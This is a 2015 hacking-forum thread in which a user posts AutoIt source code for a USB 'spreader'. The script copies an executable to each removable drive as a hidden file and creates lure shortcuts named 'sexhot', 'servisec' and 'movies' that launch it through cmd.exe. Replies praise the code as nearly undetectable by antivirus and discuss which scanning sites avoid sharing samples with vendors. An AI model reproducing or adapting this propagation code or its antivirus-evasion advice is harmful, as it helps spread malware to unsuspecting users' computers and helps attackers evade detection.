Hack Forums
shortcut infect usb[src]autoit - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Coders Lounge (https://hackforums.net/forumdisplay.php?fid=5)
+---- Thread: shortcut infect usb[src]autoit (/showthread.php?tid=4722953)



shortcut infect usb[src]autoit - xVipX - Mar 9, 2015

i write yhis & iwna shear that ,,
create short cut in usb & copy hiden file ect...
juste test the script : )
Code
;by xvipx
Local $aArray = DriveGetDrive("REMOVABLE")
For $i = 1 To $aArray[0]
If DriveSpaceTotal(StringUpper($aArray[$i])) < "65000" Then
  MsgBox(4096, "", "Drive " & StringUpper($aArray[$i]) & " is my thumb drive.")
  FileCopy(@autoitexe ,StringUpper($aArray[$i]) & "\l.exe")
Local $p =StringUpper($aArray[$i]) & "\l.exe"
FileSetAttrib($p,"+H")
  FileCreateShortcut("cmd.exe",StringUpper($aArray[$i]) &  "sexhot","","/c start " & $p ,"","%windir%\system32\shell32.dll","",3,@SW_SHOWNOACTIVATE)
    FileCreateShortcut("cmd.exe",StringUpper($aArray[$i]) &  "servisec","","/c start " & $p ,"","%windir%\system32\shell32.dll","",3,@SW_SHOWNOACTIVATE)

        FileCreateShortcut("cmd.exe",StringUpper($aArray[$i]) &  "movies","","/c start " & $p ,"","%windir%\system32\shell32.dll","",3,@SW_SHOWNOACTIVATE)
    EndIf

Next



* - R I P - Mar 10, 2015

Your english is very bad ...

But your source is actual pretty good 👍

I had my own USB spreader and it worked very similar to yours, but the .ink files on the usb got detected as virus by many AVs.
Your .ink files are nearly FUD (2/24) https://nodistribute.com/result/UT3QB8O51y which is pretty nice, so thanks for sharing and keep on ✌


* - xVipX - Mar 11, 2015

yes i have bad english );
i coded this in vb.net & autoit : )


* - Mouse❤️ - Mar 11, 2015

Nodistribute is a child of nod32, so it won't be nearly anything anymore.


* - R I P - Mar 11, 2015

(Mar 11, 2015 09:34 AM)Mousey Mouse Wrote:  Nodistribute is a child of nod32, so it won't be nearly anything anymore.

Why do all people doesnt trust nodistribute.com anymore?! I mean i use that site over a long time now and my files are still as FUD as i upload them! So we will see if it stays FUD or not, i trust nodistribute and if i remeber that right it was created by someone from HF and nothing form nod32. Do u have any facts or something, to make me believe they distribute?

All other alternative scanners are not as good as noDistribute, for example i tried to scan this .ink file on Majyx scanners, but it just scanned cmd.exe


* - Mouse❤️ - Mar 11, 2015

I was here when it was made. I remember that, and I used it. The guy who made it was being accused and then he disappeared for some reason and that confirmed it for a lot of people, but I can't be sure, no.


* - Shinigami_ - Mar 20, 2015

thanks alot bro
it is very nice from uo to share us this spread